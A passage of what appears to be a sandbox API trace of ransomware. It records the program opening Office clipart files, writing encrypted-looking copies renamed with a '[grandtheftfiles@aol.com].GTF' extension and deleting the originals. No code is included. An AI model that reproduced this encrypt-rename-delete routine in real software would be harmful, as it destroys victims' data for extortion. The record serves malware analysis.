	[0162.866] lstrlenW (lpString=".zip") returned 4
	[0162.866] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString=".rar") returned 4
	[0162.866] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString=".bz2") returned 4
	[0162.866] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString=".7z") returned 3
	[0162.866] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.866] lstrlenW (lpString=".dbf") returned 4
	[0162.866] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.866] lstrlenW (lpString=".1cd") returned 4
	[0162.866] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0162.866] lstrlenW (lpString=".jpg") returned 4
	[0162.866] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.866] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.866] lstrlenW (lpString="J0103812.WMF") returned 12
	[0162.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.313] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5908) returned 1
	[0163.313] CloseHandle (hObject=0x4b4) returned 1
	[0163.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220
	[0163.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.324] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.324] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.325] GetLastError () returned 0x0
	[0163.325] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1714, lpOverlapped=0x0) returned 1
	[0163.326] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1720, lpOverlapped=0x0) returned 1
	[0163.327] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.327] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.327] SetEndOfFile (hFile=0x528) returned 1
	[0163.327] CloseHandle (hObject=0x528) returned 1
	[0163.328] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.328] SetEndOfFile (hFile=0x4b4) returned 1
	[0163.330] CloseHandle (hObject=0x4b4) returned 1
	[0163.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1
	[0163.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.331] lstrlenW (lpString=".doc") returned 4
	[0163.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.331] lstrlenW (lpString=".docx") returned 5
	[0163.331] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.331] lstrlenW (lpString=".pdf") returned 4
	[0163.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.331] lstrlenW (lpString=".xls") returned 4
	[0163.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.331] lstrlenW (lpString=".xlsx") returned 5
	[0163.331] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.331] lstrlenW (lpString=".ppt") returned 4
	[0163.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.331] lstrlenW (lpString=".zip") returned 4
	[0163.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.331] lstrlenW (lpString=".rar") returned 4
	[0163.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".bz2") returned 4
	[0163.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".7z") returned 3
	[0163.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString=".dbf") returned 4
	[0163.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString=".1cd") returned 4
	[0163.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString=".jpg") returned 4
	[0163.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString=".doc") returned 4
	[0163.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".docx") returned 5
	[0163.332] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0163.332] lstrlenW (lpString=".pdf") returned 4
	[0163.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".xls") returned 4
	[0163.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.332] lstrlenW (lpString=".xlsx") returned 5
	[0163.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0163.332] lstrlenW (lpString=".ppt") returned 4
	[0163.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.332] lstrlenW (lpString=".zip") returned 4
	[0163.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.332] lstrlenW (lpString=".rar") returned 4
	[0163.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".bz2") returned 4
	[0163.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.332] lstrlenW (lpString=".7z") returned 3
	[0163.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.333] lstrlenW (lpString=".dbf") returned 4
	[0163.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.333] lstrlenW (lpString=".1cd") returned 4
	[0163.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68
	[0163.333] lstrlenW (lpString=".jpg") returned 4
	[0163.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.333] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.333] lstrlenW (lpString="J0105286.WMF") returned 12
	[0163.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.333] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6568) returned 1
	[0163.333] CloseHandle (hObject=0x4b4) returned 1
	[0163.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 0x220
	[0163.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.334] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.334] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.335] GetLastError () returned 0x0
	[0163.335] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x19a8, lpOverlapped=0x0) returned 1
	[0163.336] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0163.337] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.337] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.337] SetEndOfFile (hFile=0x528) returned 1
	[0163.338] CloseHandle (hObject=0x528) returned 1
	[0163.338] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.338] SetEndOfFile (hFile=0x4b4) returned 1
	[0163.341] CloseHandle (hObject=0x4b4) returned 1
	[0163.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1
	[0163.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.342] lstrlenW (lpString=".doc") returned 4
	[0163.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.342] lstrlenW (lpString=".docx") returned 5
	[0163.342] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.342] lstrlenW (lpString=".pdf") returned 4
	[0163.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.342] lstrlenW (lpString=".xls") returned 4
	[0163.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.342] lstrlenW (lpString=".xlsx") returned 5
	[0163.342] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.342] lstrlenW (lpString=".ppt") returned 4
	[0163.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".zip") returned 4
	[0163.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.343] lstrlenW (lpString=".rar") returned 4
	[0163.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString=".bz2") returned 4
	[0163.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString=".7z") returned 3
	[0163.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".dbf") returned 4
	[0163.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".1cd") returned 4
	[0163.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".jpg") returned 4
	[0163.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".doc") returned 4
	[0163.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString=".docx") returned 5
	[0163.343] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0163.343] lstrlenW (lpString=".pdf") returned 4
	[0163.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString=".xls") returned 4
	[0163.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.343] lstrlenW (lpString=".xlsx") returned 5
	[0163.343] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0163.343] lstrlenW (lpString=".ppt") returned 4
	[0163.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.343] lstrlenW (lpString=".zip") returned 4
	[0163.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.343] lstrlenW (lpString=".rar") returned 4
	[0163.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.344] lstrlenW (lpString=".bz2") returned 4
	[0163.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.344] lstrlenW (lpString=".7z") returned 3
	[0163.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.344] lstrlenW (lpString=".dbf") returned 4
	[0163.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.344] lstrlenW (lpString=".1cd") returned 4
	[0163.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0163.344] lstrlenW (lpString=".jpg") returned 4
	[0163.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.344] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.344] lstrlenW (lpString="J0105288.WMF") returned 12
	[0163.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.344] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=15832) returned 1
	[0163.345] CloseHandle (hObject=0x4b4) returned 1
	[0163.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220
	[0163.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.345] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.345] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0163.347] GetLastError () returned 0x0
	[0163.347] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3dd8, lpOverlapped=0x0) returned 1
	[0163.349] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3de0, lpOverlapped=0x0) returned 1
	[0163.350] ReadFile (in: hFile=0x4b4, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.350] WriteFile (in: hFile=0x528, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.351] SetEndOfFile (hFile=0x528) returned 1
	[0163.351] CloseHandle (hObject=0x528) returned 1
	[0163.351] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.351] SetEndOfFile (hFile=0x4b4) returned 1
	[0163.353] CloseHandle (hObject=0x4b4) returned 1
	[0163.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1
	[0163.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.354] lstrlenW (lpString=".doc") returned 4
	[0163.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString=".docx") returned 5
	[0163.355] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.355] lstrlenW (lpString=".pdf") returned 4
	[0163.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString=".xls") returned 4
	[0163.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.355] lstrlenW (lpString=".xlsx") returned 5
	[0163.355] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.355] lstrlenW (lpString=".ppt") returned 4
	[0163.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString=".zip") returned 4
	[0163.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.355] lstrlenW (lpString=".rar") returned 4
	[0163.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString=".bz2") returned 4
	[0163.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString=".7z") returned 3
	[0163.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString=".dbf") returned 4
	[0163.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString=".1cd") returned 4
	[0163.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString=".jpg") returned 4
	[0163.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68
	[0163.355] lstrlenW (lpString=".doc") returned 4
	[0163.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.355] lstrlenW (lpString=".docx") returned 5
	[0163.355] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0163.355] lstrlenW (lpString=".pdf") returned 4
	[0163.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.356] lstrlenW (lpString=".xls") returned 4
	[0163.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.356] lstrlenW (lpString=".xlsx") returned 5
	[0163.356] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0163.356] lstrlenW (lpString=".ppt") returned 4
	[0163.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
